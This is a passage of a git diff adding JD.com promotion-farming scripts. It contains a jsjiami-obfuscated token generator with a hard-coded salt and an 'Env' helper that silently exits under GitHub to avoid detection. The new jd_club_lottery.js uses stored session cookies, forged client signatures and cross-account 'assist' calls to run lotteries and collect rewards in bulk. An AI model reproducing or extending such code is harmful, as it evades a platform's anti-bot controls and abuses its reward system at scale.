_0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_club_lottery.js b/jd_club_lottery.js new file mode 100644 index 0000000..cb120bd --- /dev/null +++ b/jd_club_lottery.js @@ -0,0 +1,1461 @@ +/* +Last Modified time: 2021-5-11 09:27:09 +活动入口:京东APP首页-领京豆-摇京豆/京东APP首页-我的-京东会员-摇京豆 +增加京东APP首页超级摇一摇(不定时有活动) +增加超级品牌日做任务及抽奖 +增加 京东小魔方 抽奖 +Modified from https://github.com/Zero-S1/JD_tools/blob/master/JD_vvipclub.py +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#摇京豆 +5 0,23 * * * jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +=================Loon=============== +[Script] +cron "5 0,23 * * *" script-path=jd_club_lottery.js,tag=摇京豆 +=================Surge============== +[Script] +摇京豆 = type=cron,cronexp="5 0,23 * * *",wake-system=1,timeout=3600,script-path=jd_club_lottery.js + +============小火箭========= +摇京豆 = type=cron,script-path=jd_club_lottery.js, cronexpr="5 0,23 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('摇京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let superShakeBeanConfig = { + "superShakeUlr": "",//超级摇一摇活动链接 + "superShakeBeanFlag": false, + "superShakeTitle": "", + "taskVipName": "", +} +$.assigFirends = []; +$.brandActivityId = '';//超级品牌日活动ID +$.brandActivityId2 = '2vSNXCeVuBy8mXTL2hhG3mwSysoL';//超级品牌日活动ID2 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await welcomeHome() + if ($.superShakeUrl) { + await getActInfo($.superShakeUrl); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.freeTimes = 0; + $.prizeBeanCount = 0; + $.totalBeanCount = 0; + $.superShakeBeanNum = 0; + $.moFangBeanNum = 0; + $.isLogin = true; + $.nickName = ''; + message = '' + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await clubLottery(); + await showMsg(); + } + } + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + if ($.canHelp && $.activityId) { + $.assigFirends = $.assigFirends.concat({ + "encryptAssignmentId": $.assigFirends[0] && $.assigFirends[0]['encryptAssignmentId'], + "assignmentType": 2, + "itemId": "SZm_olqSxIOtH97BATGmKoWraLaw", + }) + for (let item of $.assigFirends || []) { + if (item['encryptAssignmentId'] && item['assignmentType'] && item['itemId']) { + console.log(`\n账号 ${$.index} ${$.UserName} 开始给 ${item['itemId']} 进行助力`) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": item['itemId'], + "actionType": 0, + "source": "main" + }); + if (!$.canHelp) { + console.log(`次数已用完,跳出助力`) + break + } + } + } + //账号内部助力后,继续抽奖 + for (let i = 0; i < new Array(4).fill('').length; i++) { + await superBrandTaskLottery(); + await $.wait(400); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + } + if (superShakeBeanConfig.superShakeUlr) { + const scaleUl = { "category": "jump", "des": "m", "url": superShakeBeanConfig['superShakeUlr'] }; + const openjd = `openjd://virtual?params=${encodeURIComponent(JSON.stringify(scaleUl))}`; + $.msg($.name,'', `【${superShakeBeanConfig['superShakeTitle'] || '超级摇一摇'}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击弹窗直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { 'open-url': openjd }); + if ($.isNode()) await notify.sendNotify($.name, `【${superShakeBeanConfig['superShakeTitle']}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击链接直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { url: openjd }); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function clubLottery() { + try { + await doTasks();//做任务 + await getFreeTimes();//获取摇奖次数 + await vvipclub_receive_lottery_times();//京东会员:领取一次免费的机会 + await vvipclub_shaking_info();//京东会员:查询多少次摇奖次数 + await shaking();//开始摇奖 + await shakeSign();//京东会员签到 + await superShakeBean();//京东APP首页超级摇一摇 + await superbrandShakeBean();//京东APP首页超级品牌日 + await mofang();//小魔方 + } catch (e) { + $.logErr(e) + } +} +async function doTasks() { + const browseTaskRes = await getTask('browseTask'); + if (browseTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = browseTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + if (taskID.length > 0) console.log(`开始做浏览页面任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('browseTask', taskID[i]); + } + } + } else { + console.log(`${JSON.stringify(browseTaskRes)}`) + } + const attentionTaskRes = await getTask('attentionTask'); + if (attentionTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = attentionTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + console.log(`开始做关注店铺任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('attentionTask', taskID[i].toString()); + } + } + } +} +async function shaking() { + for (let i = 0; i < new Array($.leftShakingTimes).fill('').length; i++) { + console.log(`开始 【京东会员】 摇奖`) + await $.wait(1000); + const newShakeBeanRes = await vvipclub_shaking_lottery(); + if (newShakeBeanRes.success) { + console.log(`京东会员-剩余摇奖次数:${newShakeBeanRes.data.remainLotteryTimes}`) + if (newShakeBeanRes.data && newShakeBeanRes.data.rewardBeanAmount) { + $.prizeBeanCount += newShakeBeanRes.data.rewardBeanAmount; + console.log(`恭喜你,京东会员中奖了,获得${newShakeBeanRes.data.rewardBeanAmount}京豆\n`) + } else { + console.log(`未中奖\n`) + } + } + } + for (let i = 0; i < new Array($.freeTimes).fill('').length; i++) { + console.log(`开始 【摇京豆】 摇奖`) + await $.wait(1000); + const shakeBeanRes = await shakeBean(); + if (shakeBeanRes.success) { + console.log(`剩余摇奖次数:${shakeBeanRes.data.luckyBox.freeTimes}`) + if (shakeBeanRes.data && shakeBeanRes.data.prizeBean) { + console.log(`恭喜你,中奖了,获得${shakeBeanRes.data.prizeBean.count}京豆\n`) + $.prizeBeanCount += shakeBeanRes.data.prizeBean.count; + $.totalBeanCount = shakeBeanRes.data.luckyBox.totalBeanCount; + } else if (shakeBeanRes.data && shakeBeanRes.data.prizeCoupon) { + console.log(`获得优惠券:${shakeBeanRes.data.prizeCoupon['limitStr']}\n`) + } else { + console.log(`摇奖其他未知结果:${JSON.stringify(shakeBeanRes)}\n`) + } + } + } + if ($.prizeBeanCount > 0) message += `摇京豆:获得${$.prizeBeanCount}京豆`; +} +function showMsg() { + return new Promise(resolve => { + if (message) { + $.msg(`${$.name}`, `京东账号${$.index} ${$.nickName}`, message); + } + resolve(); + }) +} +//====================API接口================= +//查询剩余摇奖次数API +function vvipclub_shaking_info() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_info`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.leftShakingTimes = data.data.leftShakingTimes;//剩余抽奖次数 + console.log(`京东会员——摇奖次数${$.leftShakingTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//京东会员摇奖API +function vvipclub_shaking_lottery() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_lottery&body=%7B%7D`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取京东会员本摇一摇一次免费的次数 +function vvipclub_receive_lottery_times() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_receive_lottery_times`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询多少次机会 +function getFreeTimes() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_luckyBox', { "info": "freeTimes" }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.freeTimes = data.data.freeTimes; + console.log(`摇京豆——摇奖次数${$.freeTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getTask(info) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_lotteryTask', { info, "withItem": true }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function doTask(taskName, taskItemId) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_doTask', { taskName, taskItemId }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shakeBean() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_shaking', { "type": '0' }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(`摇奖结果:${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版超级本摇一摇 +async function superShakeBean() { + await superBrandMainPage(); + if ($.activityId && $.encryptProjectId) { + await superBrandTaskList(); + await superBrandDoTaskFun(); + await superBrandMainPage(); + await lo(); + } + if ($.ActInfo) { + await fc_getHomeData($.ActInfo);//获取任务列表 + await doShakeTask($.ActInfo);//做任务 + await fc_getHomeData($.ActInfo, true);//做完任务后查询多少次摇奖次数 + await superShakeLottery($.ActInfo);//开始摇奖 + } else { + console.log(`\n\n京东APP首页超级摇一摇:目前暂无活动\n\n`) + } +} +function welcomeHome() { + return new Promise(resolve => { + const data = { + "homeAreaCode": "", + "identity": "88732f840b77821b345bf07fd71f609e6ff12f43", + "fQueryStamp": "", + "globalUIStyle": "9.0.0", + "showCate": "1", + "tSTimes": "", + "geoLast": "", + "geo": "", + "cycFirstTimeStamp": "", + "displayVersion": "9.0.0", + "geoReal": "", + "controlMaterials": "", + "xviewGuideFloor": "index,category,find,cart,home", + "fringe": "", + "receiverGeo": "" + } + const options = { + url: `https://api.m.jd.com/client.action?functionId=welcomeHome`, + // url: `https://api.m.jd.com/client.action?functionId=welcomeHome&body=${escape(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1618538579097&sign=e29d09be25576be52ec22a3bb74d4f86&sv=100`, + // body: `body=${escape(JSON.stringify(data))}`, + body: `body=%7B%22homeAreaCode%22%3A%220%22%2C%22identity%22%3A%2288732f840b77821b345bf07fd71f609e6ff12f43%22%2C%22cycNum%22%3A1%2C%22fQueryStamp%22%3A%221619741900009%22%2C%22globalUIStyle%22%3A%229.0.0%22%2C%22showCate%22%3A%221%22%2C%22tSTimes%22%3A%220%22%2C%22geoLast%22%3A%22K3%252BcQaJxm9FzAm8%252BYHBwQKEMnguxItJAtNhFQOgUkktO5Vmidb%252BfKedLYq%252Fjlnc%252BK0ZsoA8jI8yXkYA6M2L5NYrGdBxZPbV%252FzT%252BU%252BHaCeNg%253D%22%2C%22geo%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXZWjeifB1aM0xH3BWx0YRlyu4eaUsfA3KpuoAraiffcw%253D%253D%22%2C%22cycFirstTimeStamp%22%3A%221619740961090%22%2C%22displayVersion%22%3A%229.0.0%22%2C%22geoReal%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXtnAGs7wzWHMkTSTIEj7qi%22%2C%22controlMaterials%22%3A%22null%22%2C%22xviewGuideFloor%22%3A%22index%2Ccategory%2Cfind%2Ccart%2Chome%22%2C%22fringe%22%3A%221%22%2C%22receiverGeo%22%3A%22mTBeEjk2Q83Kb3%252Fylt2Amm7iguwnhvKDgDnR18TktRpedJcPIHjALOIwGuNKAgau%22%7D&client=apple&clientVersion=9.4.6&d_brand=apple&isBackground=N&joycious=104&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=69cc68677ae63b0a8737602766a0a340&st=1619741900013&sv=111&uts=0f31TVRjBSujckcdxhii7gq9cidRV4uxtCNZpaQs9IOuG5PD2oGme36aUnsUBSyCtrnCzcJjRQzsekOXnNu9XyW4W2UAsnnZ06POovikHhGabI9pwW8ZeJ2vmOBTWqWjA66DWDvRHGVeJeXzsm5xolz7r%2FX0APYfhg8I5QBwgKJfD3hzoXkHcnsGfMhHncRzuC4iOtgVG8L%2FnQyyNwXAJQ%3D%3D&uuid=hjudwgohxzVu96krv%2FT6Hg%3D%3D&wifiBssid=unknown`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1, zh-Hant-CN;q=0.9", + "Connection": "keep-alive", + "Content-Length": "1761", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167588 (iPhone; iOS 14.3; Scale/2.00)" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} welcomeHome API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['floorList'] && data['floorList'].length) { + const shakeFloorNew = data['floorList'].filter(vo => !!vo && vo.type === 'shakeFloorNew')[0]; + const shakeFloorNew2 = data['floorList'].filter(vo => !!vo && vo.type === 'float')[0]; + // console.log('shakeFloorNew2', JSON.stringify(shakeFloorNew2)) + if (shakeFloorNew) { + const jump = shakeFloorNew['jump']; + if (jump && jump.params && jump['params']['url']) { + $.superShakeUrl = jump.params.url;//有活动链接,但活动可能已过期,需做进一步判断 + console.log(`【超级摇一摇】活动链接:${jump.params.url}`); + } + } + if (shakeFloorNew2) { + const 